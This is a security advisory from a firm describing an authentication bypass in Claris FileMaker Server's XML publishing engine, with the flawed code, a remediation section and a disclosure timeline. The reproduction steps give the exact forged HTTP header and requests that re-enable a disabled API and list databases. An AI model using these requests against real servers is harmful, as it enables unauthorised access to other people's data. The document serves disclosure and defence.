
A Disabled Security Setting Is Not a Fix — If the Server Doesn't Enforce It.
Contact Us Now for a free consultation and find out how Agilehunt can protect your digital assets.
Vulnerability Description
During a source-assisted security review of Claris FileMaker Server (part of an Apple bug bounty engagement), Agilehunt identified a critical broken access control vulnerability — now assigned CVE-2026-86934 — in the XML Web Publishing Engine (WPE), the component that powers Custom Web Publishing with XML (/fmi/xml).
The flaw lives in XMLCGIBase.processRequest(). The method reads the HTTP request header X-FMI-PE-ExtendedPrivilege directly from the client-controlled request and treats any non-null value as a trusted internal signal that the caller is FileMaker's internal fmphp PHP-publishing proxy:
// XMLCGIBase.java, lines 99-116
String extendedPrivilege = Utilities.getExtendedPrivilege(httpServletRequest);
String str = null;
if (extendedPrivilege != null) {
str = "fmphp";
}
boolean z = str != null;
if (!isEnabled() && !z) {
// TechnologyDisabled (error 959) / DTD 403 rejection
return;
}
The intent of this header is to be set only by the local fmphp proxy to indicate that a request originates from the PHP API layer. In reality, the header is taken verbatim from the client HTTP request with no validation of the value, no authentication, no signing, and no origin verification. Any remote attacker who can reach the /fmi/xml endpoint can forge it by supplying any non-null value — even 1.
When the header is present, z becomes true and the technology-disabled gate if (!isEnabled() && !z) is skipped entirely. This produces two distinct security failures:
Gate bypass — When an administrator has disabled XML Web Publishing (
isEnabled() == false), theTechnologyDisabledrejection (error 959) and the DTD 403 rejection are both skipped. The full XML WPE command surface (-dbnames,-find,-findall,-edit,-delete,-new,-dup,-layoutnames,-scriptnames, container requests) is re-enabled for the attacker with zero authentication.Privilege injection — Even when XML WPE is enabled, the header causes the privilege extension to be set to
fmphpinstead of the intended defaultfmxml(configXMLRequest.setPrivilegeExtension(str)). This swaps the authorization scope: databases with thefmphpextended privilege but withoutfmxmlbecome newly exposed, and databases withfmxmlbut withoutfmphpdisappear from the listing. The attacker effectively chooses which privilege set applies to their requests.
Risk Breakdown
| Field | Value |
|---|---|
| Risk | Critical |
| Difficulty to Exploit | Easy — a single HTTP header, no credentials required |
| CWE | CWE-287 (Improper Authentication), CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS 3.1 | 9.1 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Affected Product | Claris FileMaker Server (confirmed on builds 19.0.1.103 and 26.0.1.68) |
| Affected Component | XML Web Publishing Engine (jwpc / XMLCGIBase) |
Steps to Reproduce
Step 1: Confirm XML Web Publishing is disabled (baseline)
Send a request to the DTD endpoint without the header and observe that the TechnologyDisabled gate blocks it:
GET /fmi/xml/fmresultset.dtd HTTP/2
Host: <target>
Response — 403, blocked as expected:
HTTP/2 403
server: Apple
content-type: text/html;charset=utf-8
<h4>FileMaker Server has encountered an error:<br/>http.403<br/><br/></h4>
Step 2 — Bypass the gate with the forged header
Send the same request with X-FMI-PE-ExtendedPrivilege set to any non-null value:
GET /fmi/xml/fmresultset.dtd HTTP/2
Host: <target>
X-FMI-PE-ExtendedPrivilege: 1
Response — 200, gate bypassed, DTD served without authentication:
HTTP/2 200
server: Apple
content-type: text/plain;charset=UTF-8
<!ELEMENT fmresultset (error,product,datasource,metadata,resultset)>
<!ATTLIST fmresultset
version CDATA #REQUIRED
xmlns CDATA #FIXED "http://www.filemaker.com/xml/fmresultset">
...
Step 3 — Confirm the disabled-API error (baseline for commands)
Send a -dbnames command without the header:
GET /fmi/xml/fmresultset.xml?-dbnames HTTP/2
Host: <target>
Response — error 959, technology disabled:
<fmresultset xmlns="http://www.filemaker.com/xml/fmresultset" version="1.0">
<error code="959"></error>
Step 4 — Execute the command despite the disabled setting
Send the same command with the forged header:
GET /fmi/xml/fmresultset.xml?-dbnames HTTP/2
Host: <target>
X-FMI-PE-ExtendedPrivilege: 1
Response — error 0, command executed, zero authentication:
<fmresultset xmlns="http://www.filemaker.com/xml/fmresultset" version="1.0">
<error code="0"></error>
<product build="04/30/2026" name="FileMaker Web Publishing Engine" version="26.0.1.68"></product>
<datasource database="DBNAMES" ... total-count="11"></datasource>
<resultset count="11" fetch-size="11">
<record><field name="DATABASE_NAME"><data>cms</data></field></record>
<record><field name="DATABASE_NAME"><data>estimate</data></field></record>
...
</resultset>
</fmresultset>
The <error code="0"> and <product> elements confirm the WPE command was executed against a server where the administrator had explicitly disabled XML Web Publishing. The entire command surface — -find, -edit, -delete, -new, -dup, -layoutnames, -scriptnames, container field read/write — is now reachable, subject only to per-database Basic Auth.
Step 5 — Privilege injection on targets with XML WPE enabled
On servers where XML WPE is enabled, the header injects the fmphp privilege extension in place of the default fmxml, changing which databases are visible:
- Without header — 11 databases listed (the
fmxmlset):cms,estimate,eventdb,fba_request,qa,SKUS,store_fm,story,UR_Mod,UR_Reg,zaiko - With header — 7 databases listed (the
fmphpset), includingFBAResellerExamination, which carries thefmphpextended privilege but notfmxml— meaning it is invisible to the normal XML API but becomes fully accessible when the attacker injects the header.
The vulnerability was confirmed on five live Claris infrastructure deployments and on an internal lab instance (FileMaker Server 26.0.1.68), where XML WPE was disabled via the Admin API (PATCH /fmi/admin/api/v2/xml/config with {"enabled": false}) and the identical bypass was observed.
Attack Path
Remote attacker
│
│ GET /fmi/xml/fmresultset.xml?-dbnames
│ X-FMI-PE-ExtendedPrivilege: 1
▼
XMLCGIBase.processRequest
│
├─ Header read verbatim → non-null → str="fmphp", z=true
│
├─ if (!isEnabled() && !z) → (true && false) → gate SKIPPED
│ → TechnologyDisabled (959) NOT returned
│
└─ XMLRequest.performRequest()
→ -dbnames / -find / -edit / -delete / -new executed
→ privilege extension forced to "fmphp"
Impact
Authorization boundary bypass (Critical) — When an administrator disables XML Web Publishing, they are making an explicit deployment-level security decision to remove the XML API attack surface. This vulnerability completely defeats that decision: a remote, unauthenticated attacker re-enables the entire command surface by adding a single HTTP header.
Privilege scope injection (High) — The attacker swaps the effective authorization scope from
fmxmltofmphp, gaining access to databases the administrator never intended to expose via the XML API — a textbook privilege escalation.Information disclosure (High) — On targets where the gate is bypassed,
-dbnamesexecutes with zero authentication, disclosing all database names withfmphpprivilege, the exact server version and build date, and internal hostnames via the DTD DOCTYPE system ID — the prerequisite recon for credential brute force and record-level attacks.Record-level read/write (with DB credentials or guest access) — Databases with the
fmphpextended privilege and weak, default, or guest credentials are exposed to full create/read/update/delete operations through the re-enabled API.
Recommendation
The X-FMI-PE-ExtendedPrivilege header must never be trusted from client-controlled HTTP requests. It is an internal trust signal intended for use only by the local fmphp proxy. Remediation options, in order of preference:
- Remove header trust entirely (recommended) — The
fmphpproxy should authenticate to the WPE using a local secret/token mechanism rather than a forgeable HTTP header.Utilities.getExtendedPrivilege()should not read fromhttpServletRequest.getHeader(); the privilege extension should be determined by the WPE's own configuration. - Validate the header against a server-side shared secret — If the proxy must use a header, the value should be an HMAC-signed token validated against a secret known only to the WPE and the proxy. The current code accepts any non-null value — even
1— which provides zero security. - Accept the header only from trusted sources — If the proxy runs on the same host, accept the header only from loopback connections.
For defenders running FileMaker Server: treat any server exposing /fmi/xml to untrusted networks as having the XML API enabled, regardless of the admin console setting, until the patched version is applied. Block or strictly control the path at the reverse proxy/WAF layer.
References
- CWE-287: Improper Authentication
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-306: Missing Authentication for Critical Function
- OWASP WSTG — Testing for Bypassing Authorization Schema
TIMELINES
- Aug 4, 2026 — Vulnerability discovered and reported to Apple (Claris FileMaker Server)
- Aug 2026 — Confirmed on live infrastructure and internal lab (FileMaker Server 26.0.1.68)
- Sep 2026 — CVE-2026-86934 assigned and acknowledged in release notes